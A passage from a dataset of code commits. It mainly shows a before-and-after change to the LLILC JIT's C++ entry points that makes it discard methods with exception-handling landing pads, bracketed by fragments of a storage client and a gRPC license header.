marker.c_str());\n\t}\n\tif (maxKeys > 0) {\n\t\tds3_request_set_max_keys(request, maxKeys);\n\t}\n\tds3_error* error = ds3_get_bucket(m_client,\n\t\t\t\t\t  request,\n\t\t\t\t\t  &response);\n\tds3_free_request(request);\n\n\t\/\/ TODO check the error\n\tds3_free_error(error);\n\n\treturn response;\n}\n\nvoid\nClient::CreateBucket(std::string name)\n{\n\tds3_request* request = ds3_init_put_bucket(name.c_str());\n\tds3_error* error = ds3_put_bucket(m_client, request);\n\tds3_free_request(request);\n\n\t\/\/ TODO check the error\n\tds3_free_error(error);\n\n\treturn;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/===---- lib\/Jit\/LLILCJit.cpp --------------------------------*- C++ -*-===\/\/\n\/\/\n\/\/ LLILC\n\/\/\n\/\/ Copyright (c) Microsoft. All rights reserved.\n\/\/ Licensed under the MIT license.\n\/\/ See LICENSE file in the project root for full license information.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\/\n\/\/\/ \\file\n\/\/\/ \\brief Implementation of the main Jit entry points.\n\/\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"jitpch.h\"\n#include \"LLILCJit.h\"\n#include \"options.h\"\n#include \"readerir.h\"\n#include \"abi.h\"\n#include \"EEMemoryManager.h\"\n#include \"llvm\/CodeGen\/GCs.h\"\n#include \"llvm\/ExecutionEngine\/ExecutionEngine.h\"\n#include \"llvm\/ExecutionEngine\/MCJIT.h\"\n#include \"llvm\/ExecutionEngine\/SectionMemoryManager.h\"\n#include \"llvm\/IR\/DataLayout.h\"\n#include \"llvm\/IR\/DerivedTypes.h\"\n#include \"llvm\/IR\/IRBuilder.h\"\n#include \"llvm\/IRReader\/IRReader.h\"\n#include \"llvm\/IR\/LegacyPassManager.h\"\n#include \"llvm\/IR\/LLVMContext.h\"\n#include \"llvm\/IR\/Module.h\"\n#include \"llvm\/IR\/Verifier.h\"\n#include \"llvm\/IR\/PassManager.h\"\n#include \"llvm\/Support\/SourceMgr.h\"\n#include \"llvm\/Support\/TargetSelect.h\"\n#include \"llvm\/Support\/Timer.h\"\n#include \"llvm\/Support\/Debug.h\"\n#include \"llvm\/Support\/Format.h\"\n#include \"llvm\/Support\/Signals.h\"\n#include \"llvm\/Support\/CommandLine.h\"\n#include \"llvm\/Transforms\/Scalar.h\"\n#include \"llvm\/Transforms\/IPO\/PassManagerBuilder.h\"\n#include <string>\n\nusing namespace llvm;\n\n\/\/ Get the GC-Scheme used by the runtime -- conservative\/precise\n\/\/ For now this is done by directly accessing environment variable.\n\/\/ When CLR config support is included, update it here.\nbool shouldUseConservativeGC() {\n  const char *LevelCStr = getenv(\"COMPLUS_GCCONSERVATIVE\");\n  return (LevelCStr != nullptr) && (strcmp(LevelCStr, \"1\") == 0);\n}\n\n\/\/ Determine if GC statepoints should be inserted.\nbool shouldInsertStatepoints() {\n  const char *LevelCStr = getenv(\"COMPLUS_INSERTSTATEPOINTS\");\n  return (LevelCStr != nullptr) && (strcmp(LevelCStr, \"1\") == 0);\n}\n\n\/\/ The one and only Jit Object.\nLLILCJit *LLILCJit::TheJit = nullptr;\n\n\/\/ This is guaranteed to be called by the EE\n\/\/ in single-threaded mode.\nICorJitCompiler *__stdcall getJit() {\n\n  if (LLILCJit::TheJit == nullptr) {\n    \/\/ These are one-time only operations.\n    \/\/ Create the singleton jit object.\n    LLILCJit::TheJit = new LLILCJit();\n\n    \/\/ Register a signal handler, mainly so that the critical\n    \/\/ section that is entered on windows when LLVM gets a fatal error\n    \/\/ is properly initialized.\n    sys::AddSignalHandler(&LLILCJit::signalHandler, LLILCJit::TheJit);\n\n    \/\/ Allow LLVM to pick up options via the environment\n    cl::ParseEnvironmentOptions(\"LLILCJit\", \"COMplus_altjitOptions\");\n  }\n\n  return LLILCJit::TheJit;\n}\n\n\/\/ Construct the JIT instance\nLLILCJit::LLILCJit() {\n  InitializeNativeTarget();\n  InitializeNativeTargetAsmPrinter();\n  InitializeNativeTargetAsmParser();\n  llvm::linkStatepointExampleGC();\n\n  ShouldInsertStatepoints = shouldInsertStatepoints();\n  assert(ShouldInsertStatepoints ||\n         shouldUseConservativeGC() && \"Statepoints required for precise-GC\");\n}\n\n#ifdef LLVM_ON_WIN32\n\/\/ Windows only\nBOOL WINAPI DllMain(HANDLE Instance, DWORD Reason, LPVOID Reserved) {\n  if (Reason == DLL_PROCESS_ATTACH) {\n    DisableThreadLibraryCalls((HINSTANCE)Instance);\n  } else if (Reason == DLL_PROCESS_DETACH) {\n    \/\/ TBD\n  }\n  return TRUE;\n}\n#endif \/\/ LLVM_ON_WIN32\n\nextern \"C\" void __stdcall sxsJitStartup(void *CcCallbacks) {\n  \/\/ nothing to do\n}\n\nvoid LLILCJitContext::outputDebugMethodName() {\n  const size_t SizeOfBuffer = 512;\n  char TempBuffer[SizeOfBuffer];\n  const char *DebugClassName = nullptr;\n  const char *DebugMethodName = nullptr;\n\n  DebugMethodName = JitInfo->getMethodName(MethodInfo->ftn, &DebugClassName);\n  dbgs() << format(\"INFO:  jitting method %s::%s using LLILCJit\\n\",\n                   DebugClassName, DebugMethodName);\n}\n\nLLILCJitContext::LLILCJitContext(LLILCJitPerThreadState *PerThreadState)\n    : State(PerThreadState), HasLoadedBitCode(false), Options(this) {\n  this->Next = State->JitContext;\n  State->JitContext = this;\n}\n\nLLILCJitContext::~LLILCJitContext() {\n  LLILCJitContext *TopContext = State->JitContext;\n  assert(this == TopContext && \"Unbalanced contexts!\");\n  State->JitContext = TopContext->Next;\n}\n\n\/\/ This is the method invoked by the EE to Jit code.\nCorJitResult LLILCJit::compileMethod(ICorJitInfo *JitInfo,\n                                     CORINFO_METHOD_INFO *MethodInfo,\n                                     UINT Flags, BYTE **NativeEntry,\n                                     ULONG *NativeSizeOfCode) {\n\n  \/\/ Bail if input is malformed\n  if (nullptr == JitInfo || nullptr == MethodInfo || nullptr == NativeEntry ||\n      nullptr == NativeSizeOfCode) {\n    return CORJIT_INTERNALERROR;\n  }\n\n  \/\/ Prep main outputs\n  *NativeEntry = nullptr;\n  *NativeSizeOfCode = 0;\n\n  \/\/ Set up state for this thread (if necessary)\n  LLILCJitPerThreadState *PerThreadState = State.get();\n  if (PerThreadState == nullptr) {\n    PerThreadState = new LLILCJitPerThreadState();\n    State.set(PerThreadState);\n  }\n\n  \/\/ Set up context for this Jit request\n  LLILCJitContext Context = LLILCJitContext(PerThreadState);\n\n  \/\/ Fill in context information from the CLR\n  Context.JitInfo = JitInfo;\n  Context.MethodInfo = MethodInfo;\n  Context.Flags = Flags;\n  JitInfo->getEEInfo(&Context.EEInfo);\n\n  \/\/ Fill in context information from LLVM\n  Context.LLVMContext = &PerThreadState->LLVMContext;\n  std::unique_ptr<Module> M = Context.getModuleForMethod(MethodInfo);\n  Context.CurrentModule = M.get();\n  Context.CurrentModule->setTargetTriple(LLILC_TARGET_TRIPLE);\n  Context.TheABIInfo = ABIInfo::get(*Context.CurrentModule);\n\n  \/\/ Initialize per invocation JIT options. This should be done after the\n  \/\/ rest of the Context is filled out as it has dependencies on Flags and\n  \/\/ MethodInfo\n  Context.Options.initialize();\n\n  EngineBuilder Builder(std::move(M));\n  std::string ErrStr;\n  Builder.setErrorStr(&ErrStr);\n\n  std::unique_ptr<RTDyldMemoryManager> MM(new EEMemoryManager(&Context));\n  Builder.setMCJITMemoryManager(std::move(MM));\n\n  TargetOptions Options;\n\n  \/\/ Statepoint GC does not support FastIsel yet.\n  Options.EnableFastISel = false;\n\n  if (Context.Options.OptLevel != OptLevel::DEBUG_CODE) {\n    Builder.setOptLevel(CodeGenOpt::Level::Default);\n  } else {\n    Builder.setOptLevel(CodeGenOpt::Level::None);\n    Options.NoFramePointerElim = true;\n  }\n\n  Builder.setTargetOptions(Options);\n\n  ExecutionEngine *NewEngine = Builder.create();\n\n  if (!NewEngine) {\n    errs() << \"Could not create ExecutionEngine: \" << ErrStr << \"\\n\";\n    return CORJIT_INTERNALERROR;\n  }\n\n  \/\/ Don't allow the EE to search for external symbols.\n  NewEngine->DisableSymbolSearching();\n  Context.EE = NewEngine;\n\n  \/\/ Now jit the method.\n  CorJitResult Result = CORJIT_INTERNALERROR;\n  if (Context.Options.DumpLevel == VERBOSE) {\n    Context.outputDebugMethodName();\n  }\n  bool HasMethod = this->readMethod(&Context);\n\n  if (HasMethod) {\n\n    if (ShouldInsertStatepoints) {\n      \/\/ If using Precise GC, run the GC-Safepoint insertion\n      \/\/ and lowering passes before generating code.\n      legacy::PassManager Passes;\n      Passes.add(createPlaceSafepointsPass());\n\n      PassManagerBuilder PMBuilder;\n      PMBuilder.OptLevel = 0;  \/\/ Set optimization level to -O0\n      PMBuilder.SizeLevel = 0; \/\/ so that no additional phases are run.\n      PMBuilder.populateModulePassManager(Passes);\n\n      Passes.add(createRewriteStatepointsForGCPass(false));\n      Passes.run(*Context.CurrentModule);\n    }\n\n    Context.EE->generateCodeForModule(Context.CurrentModule);\n\n    \/\/ You need to pick up the COFFDyld changes from the MS branch of LLVM\n    \/\/ or this will fail with an \"Incompatible object format!\" error\n    \/\/ from LLVM's dynamic loader.\n    uint64_t FunctionAddress =\n        Context.EE->getFunctionAddress(Context.MethodName);\n    *NativeEntry = (BYTE *)FunctionAddress;\n\n    \/\/ TODO: ColdCodeSize, or separated code, is not enabled or included.\n    *NativeSizeOfCode = Context.HotCodeSize + Context.ReadOnlyDataSize;\n\n    \/\/ This is a stop-gap point to issue a default stub of GC info. This lets\n    \/\/ the CLR consume our methods cleanly. (and the ETW tracing still works)\n    \/\/ Down the road this will be superseded by a CLR specific\n    \/\/ GCMetadataPrinter instance or similar.\n    this->outputGCInfo(&Context);\n\n    \/\/ Dump out any enabled timing info.\n    TimerGroup::printAll(errs());\n\n    \/\/ Tell the CLR that we've successfully generated code for this method.\n    Result = CORJIT_OK;\n  }\n\n  \/\/ Clean up a bit\n  delete Context.EE;\n  Context.EE = nullptr;\n  delete Context.TheABIInfo;\n  Context.TheABIInfo = nullptr;\n\n  return Result;\n}\n\nstd::unique_ptr<Module>\nLLILCJitContext::getModuleForMethod(CORINFO_METHOD_INFO *MethodInfo) {\n  \/\/ Grab name info from the EE.\n  const char *DebugClassName = nullptr;\n  const char *DebugMethodName = nullptr;\n  DebugMethodName = JitInfo->getMethodName(MethodInfo->ftn, &DebugClassName);\n\n  \/\/ Stop gap name.  The full naming will likely require some more info.\n  std::string ModName(DebugClassName);\n  ModName.append(1, '.');\n  ModName.append(DebugMethodName);\n\n  std::unique_ptr<Module> M;\n  char *BitcodePath = getenv(\"BITCODE_PATH\");\n\n  if (BitcodePath != nullptr) {\n    SMDiagnostic Err;\n    std::string Path = std::string(BitcodePath);\n\n    \/\/ If there is a bitcode path, use the debug module name to look for an .bc\n    \/\/ file. If one is found then load it directly.\n    Path.append(\"\\\\\");\n    Path.append(ModName);\n    Path.append(\".bc\");\n    M = llvm::parseIRFile(Path, Err, *this->LLVMContext);\n\n    if (!M) {\n      \/\/ Err.print(\"IR Parsing failed: \", errs());\n      this->HasLoadedBitCode = false;\n    } else {\n      std::string Message(\"Loaded bitcode from: \");\n      Message.append(Path);\n      dbgs() << Message;\n      this->HasLoadedBitCode = true;\n    }\n  }\n\n  if (!this->HasLoadedBitCode) {\n    M = std::unique_ptr<Module>(new Module(ModName, *this->LLVMContext));\n  }\n\n  return std::move(M);\n}\n\n\/\/ Read method MSIL and construct LLVM bitcode\nbool LLILCJit::readMethod(LLILCJitContext *JitContext) {\n  if (JitContext->HasLoadedBitCode) {\n    \/\/ This is a case where we side loaded a llvm bitcode module.\n    \/\/ The module is already complete so we avoid reading entirely.\n    return true;\n  }\n\n  LLVMDumpLevel DumpLevel = JitContext->Options.DumpLevel;\n\n  LLILCJitPerThreadState *PerThreadState = State.get();\n  GenIR Reader(JitContext, &PerThreadState->ClassTypeMap,\n               &PerThreadState->ReverseClassTypeMap,\n               &PerThreadState->BoxedTypeMap, &PerThreadState->ArrayTypeMap,\n               &PerThreadState->FieldIndexMap);\n\n  std::string FuncName = JitContext->CurrentModule->getModuleIdentifier();\n\n  try {\n    Reader.msilToIR();\n  } catch (NotYetImplementedException &Nyi) {\n    if (DumpLevel >= SUMMARY) {\n      errs() << \"Failed to read \" << FuncName << '[' << Nyi.reason() << \"]\\n\";\n    }\n    return false;\n  }\n\n  Function *Func = JitContext->CurrentModule->getFunction(FuncName);\n  bool IsOk = !verifyFunction(*Func, &dbgs());\n\n  assert(IsOk);\n\n  if (IsOk) {\n    if (DumpLevel >= SUMMARY) {\n      errs() << \"Successfully read \" << FuncName << '\\n';\n    }\n  } else {\n    if (DumpLevel >= SUMMARY) {\n      errs() << \"Failed to read \" << FuncName << \"[verification error]\\n\";\n    }\n    return false;\n  }\n\n  if (DumpLevel == VERBOSE) {\n    Func->dump();\n  }\n\n  JitContext->MethodName = FuncName;\n\n  return IsOk;\n}\n\n\/\/ Stop gap function to allocate and emit stub GCInfo for the method.\n\/\/ This avoids a crash in the EE.\n\/\/ Assuming that this will be replaced by an override of the GCMetaData\n\/\/ or similar writer in LLVM once we move to the safepoint design.\nbool LLILCJit::outputGCInfo(LLILCJitContext *JitContext) {\n  size_t Size = 5;\n  void *GCInfoBuffer = JitContext->JitInfo->allocGCInfo(Size);\n\n  if (GCInfoBuffer == nullptr) {\n    return false;\n  }\n\n  \/\/ First word of the GCInfoBuffer should be the size of the method.\n  *(uint32_t *)GCInfoBuffer = JitContext->HotCodeSize;\n\n  \/\/ 0x8 is the end sentinel of the buffer.\n  *(((char *)GCInfoBuffer) + 4) = 0x8;\n\n  return true;\n}\n\n\/\/ Notification from the runtime that any caches should be cleaned up.\nvoid LLILCJit::clearCache() { return; }\n\n\/\/ Notify runtime if we have something to clean up\nBOOL LLILCJit::isCacheCleanupRequired() { return FALSE; }\n\n\/\/ Verify the JIT\/EE interface identifier.\nvoid LLILCJit::getVersionIdentifier(GUID *VersionIdentifier) {\n  _ASSERTE(VersionIdentifier != nullptr);\n  memcpy(VersionIdentifier, &JITEEVersionIdentifier, sizeof(GUID));\n}\n\n\/\/ Raise a fatal error.\nvoid __cdecl LLILCJit::fatal(int Errnum, ...) {\n  _ASSERTE(FAILED(Errnum));\n  ULONG_PTR ExceptArg = Errnum;\n  RaiseException(CORJIT_INTERNALERROR, EXCEPTION_NONCONTINUABLE, 1, &ExceptArg);\n}\n\n\/\/  Handle an abort signal from LLVM. We don't do anything, but registering\n\/\/  this handler avoids a crash when LLVM goes down.\nvoid LLILCJit::signalHandler(void *Cookie) {\n  \/\/ do nothing\n}\n<commit_msg>Discard functions with landing pads<commit_after>\/\/===---- lib\/Jit\/LLILCJit.cpp --------------------------------*- C++ -*-===\/\/\n\/\/\n\/\/ LLILC\n\/\/\n\/\/ Copyright (c) Microsoft. All rights reserved.\n\/\/ Licensed under the MIT license.\n\/\/ See LICENSE file in the project root for full license information.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\/\n\/\/\/ \\file\n\/\/\/ \\brief Implementation of the main Jit entry points.\n\/\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"jitpch.h\"\n#include \"LLILCJit.h\"\n#include \"options.h\"\n#include \"readerir.h\"\n#include \"abi.h\"\n#include \"EEMemoryManager.h\"\n#include \"llvm\/CodeGen\/GCs.h\"\n#include \"llvm\/ExecutionEngine\/ExecutionEngine.h\"\n#include \"llvm\/ExecutionEngine\/MCJIT.h\"\n#include \"llvm\/ExecutionEngine\/SectionMemoryManager.h\"\n#include \"llvm\/IR\/DataLayout.h\"\n#include \"llvm\/IR\/DerivedTypes.h\"\n#include \"llvm\/IR\/IRBuilder.h\"\n#include \"llvm\/IRReader\/IRReader.h\"\n#include \"llvm\/IR\/LegacyPassManager.h\"\n#include \"llvm\/IR\/LLVMContext.h\"\n#include \"llvm\/IR\/Module.h\"\n#include \"llvm\/IR\/Verifier.h\"\n#include \"llvm\/IR\/PassManager.h\"\n#include \"llvm\/Support\/SourceMgr.h\"\n#include \"llvm\/Support\/TargetSelect.h\"\n#include \"llvm\/Support\/Timer.h\"\n#include \"llvm\/Support\/Debug.h\"\n#include \"llvm\/Support\/Format.h\"\n#include \"llvm\/Support\/Signals.h\"\n#include \"llvm\/Support\/CommandLine.h\"\n#include \"llvm\/Transforms\/Scalar.h\"\n#include \"llvm\/Transforms\/IPO\/PassManagerBuilder.h\"\n#include <string>\n\nusing namespace llvm;\n\n\/\/ Get the GC-Scheme used by the runtime -- conservative\/precise\n\/\/ For now this is done by directly accessing environment variable.\n\/\/ When CLR config support is included, update it here.\nbool shouldUseConservativeGC() {\n  const char *LevelCStr = getenv(\"COMPLUS_GCCONSERVATIVE\");\n  return (LevelCStr != nullptr) && (strcmp(LevelCStr, \"1\") == 0);\n}\n\n\/\/ Determine if GC statepoints should be inserted.\nbool shouldInsertStatepoints() {\n  const char *LevelCStr = getenv(\"COMPLUS_INSERTSTATEPOINTS\");\n  return (LevelCStr != nullptr) && (strcmp(LevelCStr, \"1\") == 0);\n}\n\n\/\/ The one and only Jit Object.\nLLILCJit *LLILCJit::TheJit = nullptr;\n\n\/\/ This is guaranteed to be called by the EE\n\/\/ in single-threaded mode.\nICorJitCompiler *__stdcall getJit() {\n\n  if (LLILCJit::TheJit == nullptr) {\n    \/\/ These are one-time only operations.\n    \/\/ Create the singleton jit object.\n    LLILCJit::TheJit = new LLILCJit();\n\n    \/\/ Register a signal handler, mainly so that the critical\n    \/\/ section that is entered on windows when LLVM gets a fatal error\n    \/\/ is properly initialized.\n    sys::AddSignalHandler(&LLILCJit::signalHandler, LLILCJit::TheJit);\n\n    \/\/ Allow LLVM to pick up options via the environment\n    cl::ParseEnvironmentOptions(\"LLILCJit\", \"COMplus_altjitOptions\");\n  }\n\n  return LLILCJit::TheJit;\n}\n\n\/\/ Construct the JIT instance\nLLILCJit::LLILCJit() {\n  InitializeNativeTarget();\n  InitializeNativeTargetAsmPrinter();\n  InitializeNativeTargetAsmParser();\n  llvm::linkStatepointExampleGC();\n\n  ShouldInsertStatepoints = shouldInsertStatepoints();\n  assert(ShouldInsertStatepoints ||\n         shouldUseConservativeGC() && \"Statepoints required for precise-GC\");\n}\n\n#ifdef LLVM_ON_WIN32\n\/\/ Windows only\nBOOL WINAPI DllMain(HANDLE Instance, DWORD Reason, LPVOID Reserved) {\n  if (Reason == DLL_PROCESS_ATTACH) {\n    DisableThreadLibraryCalls((HINSTANCE)Instance);\n  } else if (Reason == DLL_PROCESS_DETACH) {\n    \/\/ TBD\n  }\n  return TRUE;\n}\n#endif \/\/ LLVM_ON_WIN32\n\nextern \"C\" void __stdcall sxsJitStartup(void *CcCallbacks) {\n  \/\/ nothing to do\n}\n\nvoid LLILCJitContext::outputDebugMethodName() {\n  const size_t SizeOfBuffer = 512;\n  char TempBuffer[SizeOfBuffer];\n  const char *DebugClassName = nullptr;\n  const char *DebugMethodName = nullptr;\n\n  DebugMethodName = JitInfo->getMethodName(MethodInfo->ftn, &DebugClassName);\n  dbgs() << format(\"INFO:  jitting method %s::%s using LLILCJit\\n\",\n                   DebugClassName, DebugMethodName);\n}\n\nLLILCJitContext::LLILCJitContext(LLILCJitPerThreadState *PerThreadState)\n    : State(PerThreadState), HasLoadedBitCode(false), Options(this) {\n  this->Next = State->JitContext;\n  State->JitContext = this;\n}\n\nLLILCJitContext::~LLILCJitContext() {\n  LLILCJitContext *TopContext = State->JitContext;\n  assert(this == TopContext && \"Unbalanced contexts!\");\n  State->JitContext = TopContext->Next;\n}\n\n\/\/ This is the method invoked by the EE to Jit code.\nCorJitResult LLILCJit::compileMethod(ICorJitInfo *JitInfo,\n                                     CORINFO_METHOD_INFO *MethodInfo,\n                                     UINT Flags, BYTE **NativeEntry,\n                                     ULONG *NativeSizeOfCode) {\n\n  \/\/ Bail if input is malformed\n  if (nullptr == JitInfo || nullptr == MethodInfo || nullptr == NativeEntry ||\n      nullptr == NativeSizeOfCode) {\n    return CORJIT_INTERNALERROR;\n  }\n\n  \/\/ Prep main outputs\n  *NativeEntry = nullptr;\n  *NativeSizeOfCode = 0;\n\n  \/\/ Set up state for this thread (if necessary)\n  LLILCJitPerThreadState *PerThreadState = State.get();\n  if (PerThreadState == nullptr) {\n    PerThreadState = new LLILCJitPerThreadState();\n    State.set(PerThreadState);\n  }\n\n  \/\/ Set up context for this Jit request\n  LLILCJitContext Context = LLILCJitContext(PerThreadState);\n\n  \/\/ Fill in context information from the CLR\n  Context.JitInfo = JitInfo;\n  Context.MethodInfo = MethodInfo;\n  Context.Flags = Flags;\n  JitInfo->getEEInfo(&Context.EEInfo);\n\n  \/\/ Fill in context information from LLVM\n  Context.LLVMContext = &PerThreadState->LLVMContext;\n  std::unique_ptr<Module> M = Context.getModuleForMethod(MethodInfo);\n  Context.CurrentModule = M.get();\n  Context.CurrentModule->setTargetTriple(LLILC_TARGET_TRIPLE);\n  Context.TheABIInfo = ABIInfo::get(*Context.CurrentModule);\n\n  \/\/ Initialize per invocation JIT options. This should be done after the\n  \/\/ rest of the Context is filled out as it has dependencies on Flags and\n  \/\/ MethodInfo\n  Context.Options.initialize();\n\n  EngineBuilder Builder(std::move(M));\n  std::string ErrStr;\n  Builder.setErrorStr(&ErrStr);\n\n  std::unique_ptr<RTDyldMemoryManager> MM(new EEMemoryManager(&Context));\n  Builder.setMCJITMemoryManager(std::move(MM));\n\n  TargetOptions Options;\n\n  \/\/ Statepoint GC does not support FastIsel yet.\n  Options.EnableFastISel = false;\n\n  if (Context.Options.OptLevel != OptLevel::DEBUG_CODE) {\n    Builder.setOptLevel(CodeGenOpt::Level::Default);\n  } else {\n    Builder.setOptLevel(CodeGenOpt::Level::None);\n    Options.NoFramePointerElim = true;\n  }\n\n  Builder.setTargetOptions(Options);\n\n  ExecutionEngine *NewEngine = Builder.create();\n\n  if (!NewEngine) {\n    errs() << \"Could not create ExecutionEngine: \" << ErrStr << \"\\n\";\n    return CORJIT_INTERNALERROR;\n  }\n\n  \/\/ Don't allow the EE to search for external symbols.\n  NewEngine->DisableSymbolSearching();\n  Context.EE = NewEngine;\n\n  \/\/ Now jit the method.\n  CorJitResult Result = CORJIT_INTERNALERROR;\n  if (Context.Options.DumpLevel == VERBOSE) {\n    Context.outputDebugMethodName();\n  }\n  bool HasMethod = this->readMethod(&Context);\n\n  if (HasMethod) {\n\n    if (ShouldInsertStatepoints) {\n      \/\/ If using Precise GC, run the GC-Safepoint insertion\n      \/\/ and lowering passes before generating code.\n      legacy::PassManager Passes;\n      Passes.add(createPlaceSafepointsPass());\n\n      PassManagerBuilder PMBuilder;\n      PMBuilder.OptLevel = 0;  \/\/ Set optimization level to -O0\n      PMBuilder.SizeLevel = 0; \/\/ so that no additional phases are run.\n      PMBuilder.populateModulePassManager(Passes);\n\n      Passes.add(createRewriteStatepointsForGCPass(false));\n      Passes.run(*Context.CurrentModule);\n    }\n\n    Context.EE->generateCodeForModule(Context.CurrentModule);\n\n    \/\/ You need to pick up the COFFDyld changes from the MS branch of LLVM\n    \/\/ or this will fail with an \"Incompatible object format!\" error\n    \/\/ from LLVM's dynamic loader.\n    uint64_t FunctionAddress =\n        Context.EE->getFunctionAddress(Context.MethodName);\n    *NativeEntry = (BYTE *)FunctionAddress;\n\n    \/\/ TODO: ColdCodeSize, or separated code, is not enabled or included.\n    *NativeSizeOfCode = Context.HotCodeSize + Context.ReadOnlyDataSize;\n\n    \/\/ This is a stop-gap point to issue a default stub of GC info. This lets\n    \/\/ the CLR consume our methods cleanly. (and the ETW tracing still works)\n    \/\/ Down the road this will be superseded by a CLR specific\n    \/\/ GCMetadataPrinter instance or similar.\n    this->outputGCInfo(&Context);\n\n    \/\/ Dump out any enabled timing info.\n    TimerGroup::printAll(errs());\n\n    \/\/ Tell the CLR that we've successfully generated code for this method.\n    Result = CORJIT_OK;\n  }\n\n  \/\/ Clean up a bit\n  delete Context.EE;\n  Context.EE = nullptr;\n  delete Context.TheABIInfo;\n  Context.TheABIInfo = nullptr;\n\n  return Result;\n}\n\nstd::unique_ptr<Module>\nLLILCJitContext::getModuleForMethod(CORINFO_METHOD_INFO *MethodInfo) {\n  \/\/ Grab name info from the EE.\n  const char *DebugClassName = nullptr;\n  const char *DebugMethodName = nullptr;\n  DebugMethodName = JitInfo->getMethodName(MethodInfo->ftn, &DebugClassName);\n\n  \/\/ Stop gap name.  The full naming will likely require some more info.\n  std::string ModName(DebugClassName);\n  ModName.append(1, '.');\n  ModName.append(DebugMethodName);\n\n  std::unique_ptr<Module> M;\n  char *BitcodePath = getenv(\"BITCODE_PATH\");\n\n  if (BitcodePath != nullptr) {\n    SMDiagnostic Err;\n    std::string Path = std::string(BitcodePath);\n\n    \/\/ If there is a bitcode path, use the debug module name to look for an .bc\n    \/\/ file. If one is found then load it directly.\n    Path.append(\"\\\\\");\n    Path.append(ModName);\n    Path.append(\".bc\");\n    M = llvm::parseIRFile(Path, Err, *this->LLVMContext);\n\n    if (!M) {\n      \/\/ Err.print(\"IR Parsing failed: \", errs());\n      this->HasLoadedBitCode = false;\n    } else {\n      std::string Message(\"Loaded bitcode from: \");\n      Message.append(Path);\n      dbgs() << Message;\n      this->HasLoadedBitCode = true;\n    }\n  }\n\n  if (!this->HasLoadedBitCode) {\n    M = std::unique_ptr<Module>(new Module(ModName, *this->LLVMContext));\n  }\n\n  return std::move(M);\n}\n\n\/\/ Read method MSIL and construct LLVM bitcode\nbool LLILCJit::readMethod(LLILCJitContext *JitContext) {\n  if (JitContext->HasLoadedBitCode) {\n    \/\/ This is a case where we side loaded a llvm bitcode module.\n    \/\/ The module is already complete so we avoid reading entirely.\n    return true;\n  }\n\n  LLVMDumpLevel DumpLevel = JitContext->Options.DumpLevel;\n\n  LLILCJitPerThreadState *PerThreadState = State.get();\n  GenIR Reader(JitContext, &PerThreadState->ClassTypeMap,\n               &PerThreadState->ReverseClassTypeMap,\n               &PerThreadState->BoxedTypeMap, &PerThreadState->ArrayTypeMap,\n               &PerThreadState->FieldIndexMap);\n\n  std::string FuncName = JitContext->CurrentModule->getModuleIdentifier();\n\n  try {\n    Reader.msilToIR();\n  } catch (NotYetImplementedException &Nyi) {\n    if (DumpLevel >= SUMMARY) {\n      errs() << \"Failed to read \" << FuncName << '[' << Nyi.reason() << \"]\\n\";\n    }\n    return false;\n  }\n\n  Function *Func = JitContext->CurrentModule->getFunction(FuncName);\n  bool IsOk = !verifyFunction(*Func, &dbgs());\n\n  assert(IsOk);\n\n  if (IsOk) {\n    if (DumpLevel >= SUMMARY) {\n      errs() << \"Successfully read \" << FuncName << '\\n';\n    }\n  } else {\n    if (DumpLevel >= SUMMARY) {\n      errs() << \"Failed to read \" << FuncName << \"[verification error]\\n\";\n    }\n    return false;\n  }\n\n  if (DumpLevel == VERBOSE) {\n    Func->dump();\n  }\n\n  JitContext->MethodName = FuncName;\n\n  if (IsOk) {\n    for (BasicBlock &BB : *Func) {\n      if (BB.getLandingPadInst() != nullptr) {\n        \/\/ Don't try to push the EH code downstream (we'll currently fail on\n        \/\/ the first method with EH if we do that, which prevents being able\n        \/\/ to see IR for later methods)\n        return false;\n      }\n    }\n  }\n\n  return IsOk;\n}\n\n\/\/ Stop gap function to allocate and emit stub GCInfo for the method.\n\/\/ This avoids a crash in the EE.\n\/\/ Assuming that this will be replaced by an override of the GCMetaData\n\/\/ or similar writer in LLVM once we move to the safepoint design.\nbool LLILCJit::outputGCInfo(LLILCJitContext *JitContext) {\n  size_t Size = 5;\n  void *GCInfoBuffer = JitContext->JitInfo->allocGCInfo(Size);\n\n  if (GCInfoBuffer == nullptr) {\n    return false;\n  }\n\n  \/\/ First word of the GCInfoBuffer should be the size of the method.\n  *(uint32_t *)GCInfoBuffer = JitContext->HotCodeSize;\n\n  \/\/ 0x8 is the end sentinel of the buffer.\n  *(((char *)GCInfoBuffer) + 4) = 0x8;\n\n  return true;\n}\n\n\/\/ Notification from the runtime that any caches should be cleaned up.\nvoid LLILCJit::clearCache() { return; }\n\n\/\/ Notify runtime if we have something to clean up\nBOOL LLILCJit::isCacheCleanupRequired() { return FALSE; }\n\n\/\/ Verify the JIT\/EE interface identifier.\nvoid LLILCJit::getVersionIdentifier(GUID *VersionIdentifier) {\n  _ASSERTE(VersionIdentifier != nullptr);\n  memcpy(VersionIdentifier, &JITEEVersionIdentifier, sizeof(GUID));\n}\n\n\/\/ Raise a fatal error.\nvoid __cdecl LLILCJit::fatal(int Errnum, ...) {\n  _ASSERTE(FAILED(Errnum));\n  ULONG_PTR ExceptArg = Errnum;\n  RaiseException(CORJIT_INTERNALERROR, EXCEPTION_NONCONTINUABLE, 1, &ExceptArg);\n}\n\n\/\/  Handle an abort signal from LLVM. We don't do anything, but registering\n\/\/  this handler avoids a crash when LLVM goes down.\nvoid LLILCJit::signalHandler(void *Cookie) {\n  \/\/ do nothing\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n *\n * Copyright 2015, Google Inc.\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are\n * met:\n *\n *     * Redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer.\n *     * Redistributions in binary form must reproduce the above\n * copyright notice, this list of conditions and the following disclaimer\n * in the documentation and\/or other materials provided with the\n * distribution.\n *     * Neither the name of Google Inc. nor the names of its\n * contributors may be used to endorse or promote products derived from\n * this software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n * \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n * A PARTICULAR PURPOSE ARE 